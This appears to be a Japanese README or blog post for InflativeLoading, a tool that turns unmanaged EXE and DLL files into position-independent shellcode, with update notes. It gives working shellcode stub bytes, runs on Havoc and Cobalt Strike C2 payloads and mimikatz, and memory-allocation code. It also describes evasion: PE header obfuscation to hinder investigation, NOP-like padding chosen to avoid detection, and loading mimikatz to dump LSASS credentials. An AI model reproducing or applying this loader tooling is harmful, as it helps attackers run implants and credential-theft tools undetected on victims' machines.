
アンマネージドのEXEまたはDLLファイルにシェルコードスタブを先頭に追加することで、PICシェルコードに動的に変換する。
記事: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
このセクションでは、主な更新情報を提供します。主な更新には、追加されたサポートや機能が含まれます。
PEヘッダ内のごく一部のバイト(e_lfanew、インポートディレクトリのRVAなど)のみがロードプロセスを完了するために不可欠です。そのため、他のバイトはランダムなバイトで上書きしてPEヘッダシグネチャを隠すことができます。
すべてのプロセスが完了した後、これらのバイトも完全な難読化のために上書きされます。例えば、以下のスクリーンショットから、PEヘッダの大部分は難読化されていますが、e_lfanewはロード目的のために難読化されていないままであることがわかります。しかし、ロードプロセス後は、e_lfanewも難読化されます。

ただし、選択したプログラムによっては、難読化が互換性を持たない場合があります。プログラムの動作を理解しておく必要があります。例えば、Havoc stateless DLLペイロードは難読化機能と互換性がありません。これは、DLLもPEヘッダを利用するためです。

Havoc stageless EXEペイロードは難読化で正常に動作します:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] 3 iterations are needed
[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;
[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......
Generated shellcode successfully saved in file havocsc.bin
[#] Shellcode located at address 0x1ae8ab70000
[!] PRESS TO EXECUTE SHELLCODED EXE...
### 4/11/2024 パディングされたNOPをNOP-Like命令シーケンスに置き換え
アップデート前は、実際のshellcode stubの後に `0x90/NOP` 命令がパディングされてメモリページをアラインしていました。多くのNOPは検出される可能性があるため、InflativeLoadingスクリプトはプリセットのNOP-Like命令シーケンスを動的に選択します。ユーザーは新しいシーケンスを追加したり、既存のものを置き換えたりして、より良い難読化を実現することもできます。```python
nop_like_instructions = [
{"instruction": [0x90], "length": 1}, # NOP
{"instruction": [0x86, 0xdb], "length": 2}, # xchg bl, bl;
{"instruction": [0x66, 0x87, 0xf6], "length": 3}, # xchg si, si;
{"instruction": [0x48, 0x9c, 0x48, 0x93], "length": 4}, # xchg rax, rbx; xchg rbx, rax;
{"instruction": [0x66, 0x83, 0xc2, 0x00], "length": 4}, # add dx, 0
{"instruction": [0x48, 0xff, 0xc0, 0x48, 0xff, 0xc8], "length": 6}, # inc rax; dec rax;
{"instruction": [0x49, 0xf7, 0xd8, 0x49, 0xf7, 0xd8], "length": 6}, # neg r8; neg r8;
{"instruction": [0x48, 0x83, 0xc0, 0x01, 0x48, 0xff, 0xc8], "length": 7}, # add rax,0x1; dec rax;
{"instruction": [0x48, 0x83, 0xe9, 0x2, 0x48, 0xff, 0xc1, 0x48, 0xff, 0xc1], "length": 10}, # sub rcx, 2; inc rcx; inc rcx
]
いくつかの稀な例外を処理するために、追加のシェルコードロジックを追加しました。例えば、CobaltStrikeのステートレスDLLペイロードでは、ページRVAがイメージサイズよりも大きいため、一部のベースリロケーションエントリが無効です。
イメージサイズは0x58000です。

しかし、一部のRVAは0x58000より大きいです。

さらに、シェルコードは変換されたシェルコードを実行した後、プログラムを正常に終了します。
現在、ダンパーはより多くの情報を表示し、メモリ割り当てに関する提案を提供できます。```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);
シェルコードスタブは`0x1000`バイトに固定され、PEヘッダは`0x1000`バイトに固定され、テキストセクションやその他のセクションのサイズは可変です。
### 4/11/2024 アンマネージドDLLのサポート追加
アップデート後、アンマネージドDLLもPICシェルコードに変換できるようになりました。カスタムDLL、HavocステージレスDLLペイロード、CobaltStrikeステージレスDLLペイロードのテストケースはすべてパスしています。```powershell
PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin
[+] The file is a DLL file
[+] Image base of mapped .\havocdll.dll is 0x1a730000
[+] e_lfanew of mapped .\havocdll.dll is 0x80
[+] imageSize of mapped .\havocdll.dll is 0x1e000
[+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0
[+] Offset of section Header of mapped .\havocdll.dll is 0x188
[+] Size of text section of mapped .\havocdll.dll is 0x18000
[+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havocdll.bin -e true -o false -b havocdllsc.bin
██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗
██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝
██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗
██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝
██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗
╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝
██╗ ██████╗ █████╗ ██████╗ ██╗███╗ ██╗ ██████╗
██║ ██╔═══██╗██╔══██╗██╔══██╗██║████╗ ██║██╔════╝
██║ ██║ ██║███████║██║ ██║██║██╔██╗ ██║██║ ███╗
██║ ██║ ██║██╔══██║██║ ██║██║██║╚██╗██║██║ ██║
███████╗╚██████╔╝██║ ██║██████╔╝██║██║ ╚████║╚██████╔╝
╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝
Author: Senzee
Github Repository: https://github.com/senzee1984/InflativeLoading
Twitter: senzee@1984
Website: https://winslow1984.com
Description: Dynamically convert a native PE to PIC shellcode
Attention: Bugs are expected, more support and improvements are coming!
[!] The offset to NT header is 0x80
[+] Shellcode Stub size: 850 bytes
[+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes
[!] Shellcoded PE's size: 126976 bytes
buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70"
buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04"
buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48"
buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d"
buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f"
buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c"
buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb"
buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b"
buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd"
buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c"
buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3"
buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0"
buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74"
buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01"
buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c"
buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80"
buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10"
buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c"
buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6"
buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0"
......126576 more bytes......
Generated shellcode successfully saved in file havocdllsc.bin
[#] Shellcode located at address 0x2108a9d0000
[!] PRESS TO EXECUTE SHELLCODED EXE...

IATを修正するコードを少し変更しました。不要なコード行があることがわかったからです。この変更後、InflativeLoadingは一部のUPXパックされたEXEプログラム、例えばcalc.exeやPsExecを実行できるようになりました。ただし、パックされたプログラムの一部のみです。まず、テストしたすべてのプログラムに対してすべての可能なパッキング構成をテストするつもりはありません。2つ目の理由については、引き続きお読みください。
遅延インポートディレクトリを持たないプログラムの場合、InflativeLoadingはそれらのUPXパック版を実行できます。ただし、アンパックされたプログラムとは異なり、パックされたプログラムはすべてのILTが空です。

通常のcalc.exeを例にとると、ILTとIATはすべてのモジュールで同一です。

しかし、UPXパックされたcalc.exeでは、Import Directoryのすべてのエントリに対してILTが空です。
しかし、プログラムがMimikatzのように遅延インポートディレクトリを持っている場合、より複雑になります。
通常のmimikatz.exeの場合、遅延インポートディレクトリは次のようになります:

しかし、UPXパックされたmimikatz.exeの場合、PE Bearはそれを解析できません。私も同様です。

以下は、UPXパックされたcalc.exeの合格したテストケースです。

私の目標の一つは、exeをシェルコードに変換することです。これにより、Mimikatzのようなセキュリティツールをより柔軟に使用できます。Donutのようなツールはすでにこれを実現していますが、私は自分のアプローチでそのようなツールを作成したいと考えており、うまくいけば改善をもたらすことができるでしょう。
古典的および現代的なツールや技術に触発され、InflativeLoadingはアンマネージドEXE/DLLを動的にPICシェルコードに変換するツールです。
簡単に言えば、InflativeLoadingはダンプされたPEメインモジュールにシェルコードスタブを生成して先頭に追加します。
このツールは、DumpPEFromMemory.exeとInflativeLoading.pyで構成されています。
アンマネージドPEファイルをシェルコードに変換するには、次の2つのコンポーネントが必要です。
DumpPEFromMemory.exeは、選択したPEファイルのメモリ内バージョンを取得するために使用されます。
EXEプログラムの場合、プロセスを中断状態で作成し、メインモジュールをバイナリファイルにダンプすることで動作します(開発マシン上で)。なぜでしょうか? 典型的なリフレクティブローディングプロセスは、PEファイルの各セクションを新たに割り当てられたメモリ領域にマッピングします。これに関して、私には2つの懸念があります。第一に、各セクションのデータはディスク上でもメモリ上でも基本的に一貫していますが、特定のPEファイルや特定の状況下では若干の違いがある可能性があります。```c
// Code snippet from Maldev course
for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
memcpy(
(PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA
(PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA
pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size
);
}
`DLL`ファイルの場合、DumPEFromMemoryはDllMain()を実行せずにファイルマッピングを作成し、ファイルのビューをマッピングします。
次に、PEファイルのコンテンツはローダーのメモリ(バイト配列など)に既に存在しますが、ローダーは再度メモリ領域を割り当てます。DumpPEFromMemoryの実行はオペレーターの開発マシン上で完了します。オペレーターはPEファイルがメモリにロードされたときのダンプを取得します。一部のデータは依然として更新が必要ですが、被害者のマシンにメモリ領域を割り当てる必要はありません。
このように、ファイルを手動でマッピングする代わりに、`Import Directory`、`Base Relocation Table Directory`、`Delayed Load Import Descriptors Directory`などの特定のデータ領域にパッチを適用するだけで済みます。
ダンプされたメインモジュールはバイナリファイルとして保存され、シェルコードスタブに追加されます。
例えば、DumpPEFromMemoryは古典的なツールであるmimikatzを実行し、そのメインモジュールをバイナリファイルにダンプします。```powershell
PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\mimikatz.exe mimikatz.bin
[+] The file is an EXE file
[+] Process PID: 23052
[+] PEB Address:00000000004A5000
[+] Image Base Address:00007FF730E00000
[+] e_lfanew is 0x120
[+] Size Of The Image : 0x137000
[+] Size Of Optional Header : 0xf0
[+] Size Of text Section : 0xc5000
[+] Size of other sections of mapped .\mimikatz.exe is 0x71000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
[+] 29 iterations are needed
[+] Data successfully written to mimikatz.bin. Total bytes read: 0x137000

そして、Havoc DLLペイロードをメモリからダンプします:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000
[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages
// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);
[+] Data successfully written to havocdll.bin
### InflativeLoading スクリプト
このスクリプトは、シェルコードスタブを動的に生成し、ダンプファイルの先頭に付加します。
シェルコードは以下のタスクを実行します。
1. PEB を走査し、kernel32.dll を見つける
2. コマンドラインを更新する
3. kernel32.dll を解析し、LoadLibraryA、GetProcAddress 関数のアドレスを取得する
4. オフセットを使用して追加されたダンプファイルを特定する
5. インポートディレクトリ、ベース再配置テーブルディレクトリ、遅延読み込みインポート記述子ディレクトリなどを動的に修正する
6. PE ヘッダーを難読化するかどうかを選択する
7. 実行を PE ファイルのエントリポイントに移す
8. 正常に終了する
例えば、以前にダンプした mimikatz を読み込むためにスクリプトを使用し、LSASS 内の資格情報をダンプするための適切なコマンドラインを指定します。

シェルコードスタブは通常 1000 バイト未満ですが、スクリプトはメモリページ境界に合わせるために 4096 バイトにパディングします。これにより、オペレーターは異なるメモリ領域に対して適切なページ権限を簡単に設定できます。ダンパーはメモリ割り当ての提案を提供します。```powershell
// Allocate memory with RX permission for shellcode stub
LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20);
// Allocate memory with RW permission for PE Header
VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04);
// Allocate memory with RX permission for text section
VirtualAlloc(buffer + 0x2000, 0xc5000, 0x3000, 0x20);
// Allocate memory with RW permission for other sections
VirtualAlloc(buffer + 0x2000 + 0xc5000, 0x71000, 0x3000, 0x20);
すでにInflativeLoadingの両コンポーネントをご確認いただいたものと信じています。要約すると:
最適な使用例と既知の問題と制限のセクションを参照してください。InflativeLoadingは初期段階であるため、すべてのexeが十分にサポートされているわけではありません。アンマネージドDLLは十分にサポートされています。エクスポート関数の実行は次のアップデートで追加予定です!
✅ 引数に依存しないネイティブコンソールプログラム(例:ステートレスC2インプラント、シンプルなカスタムコンソールプログラム)
✅ インタラクティブコンソール/シェルを備えたネイティブコンソールプログラム(例:Mimikatz)
✅ アンマネージドDLL
✔️ 特定のエクスポート関数が不要で、ソースコードやコンパイルが簡単に利用できないPEファイルに対してより親和性が高い
✔️ 特定のケースでディスク上のPEファイルとメモリ上のPEファイルの違いによる意図しない結果を回避
✔️ 元のファイルオフセットとRVAの変換が不要
✔️ 追加のメモリ空間割り当てを回避
✔️ RWXメモリ領域を回避
✔️ RXメモリ領域であってもMZ特性で始まらないため、調査の難易度が向上
☑️ 通常のネイティブEXEをサポート
☑️ アンマネージドDLLをサポート
☑️ 遅延インポートディレクトリを持つEXE/DLLをサポート
☑️ IATの修正
☑️ ベースリロケーションディレクトリの修正
☑️ calc、mimikatz、PsExecなどの古典的なプログラムでテスト済み
☑️ CobaltStrikeやHavocのステートレスDLL/EXEペイロードなど、古典的なC2ペイロードでテスト済み
☑️ パックされたプログラムの部分的なサポート
⚠️ 以下の問題の一部は将来修正される可能性がありますが、一部はその性質上範囲外となります。
提供されたコマンドラインが常に正しく動作するとは限りません。これは私が重点的に取り組む主要な領域です。
GUIプログラム(例:mspaint.exe)ではうまく動作しません。ただしcalc.exeは正常に動作します。
すべてのパックされたプログラムで動作するわけではありません。一部のパックされたプログラムは実行可能な場合もあります。ケースバイケースです。
カスタムDLLなどの他の依存関係を必要とするプログラムでは動作しません。
x64のみサポートしており、x86プログラムのサポートを追加する予定はありません。
上記の問題や制限に遭遇した場合、シェルコードの実行がクラッシュしたり、変換されたプログラムがコマンドラインを正しく認識できなかったり、応答が返ってこない可能性があります。
例えば、PsExec.exeはPICシェルコードに変換できますが、ユーザー指定のコマンドラインは正しく認識できません。```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin
<...SNIP...>
Generated shellcode successfully saved in file psexec_merged.bin
[#] Shellcode located at address 0x27159360000
[!] PRESS TO EXECUTE SHELLCODED EXE...
Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation
Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.
## テストケース
| プログラム | 形式 | GUIあり? | 引数指定あり?| 正常実行 | 引数付きで正常実行 |
| ----------- | ----------- | ----------- |----------- | ----------- |----------- |
| 単純なカスタムC/C++プログラム | EXE |いいえ | いいえ |:heavy_check_mark: | N/A |
| 単純なカスタムDLL | DLL |いいえ | いいえ |:heavy_check_mark: | N/A |
| HavocおよびCobaltStrike EXEペイロード | EXE |いいえ | いいえ |:heavy_check_mark: | N/A |
| HavocおよびCobaltStrike DLLペイロード | DLL |いいえ | いいえ |:heavy_check_mark: | N/A |
| calc.exe | EXE | はい | いいえ |:heavy_check_mark: |N/A |
| mimikatz.exe | EXE | いいえ | はい |:heavy_check_mark: |:heavy_check_mark: |
| PsExec | EXE | いいえ |はい |:heavy_check_mark: |:no_entry_sign:|
| mspaint.exe | EXE | はい |いいえ | :no_entry_sign: |N/A|
| パックされたプログラム | EXE | いいえ |いいえ | 部分的|N/A|
ダンプされたcalc.exeとmimikatz.exeのバージョンは、リポジトリの`bin/`フォルダにあります。
## 今後の改良点
:bell: 以下の機能と改良点が今後予定されています。
+ .NETプログラム用の別のローダー。
+ DLLエクスポート関数のサポート追加。
+ より多くのパックされたプログラムのサポート追加。
+ クソコードの改善 : )
## 謝辞と参考文献
以下のリソースは、私の研究開発において多くのインスピレーションを与えてくれました:
<https://github.com/TheWover/donut>
<https://github.com/d35ha/PE2Shellcode>
<https://github.com/hasherezade/pe_to_shellcode>
<https://github.com/monoxgas/sRDI>
<https://github.com/stephenfewer/ReflectiveDLLInjection>
<https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/>
<https://maldevacademy.com/>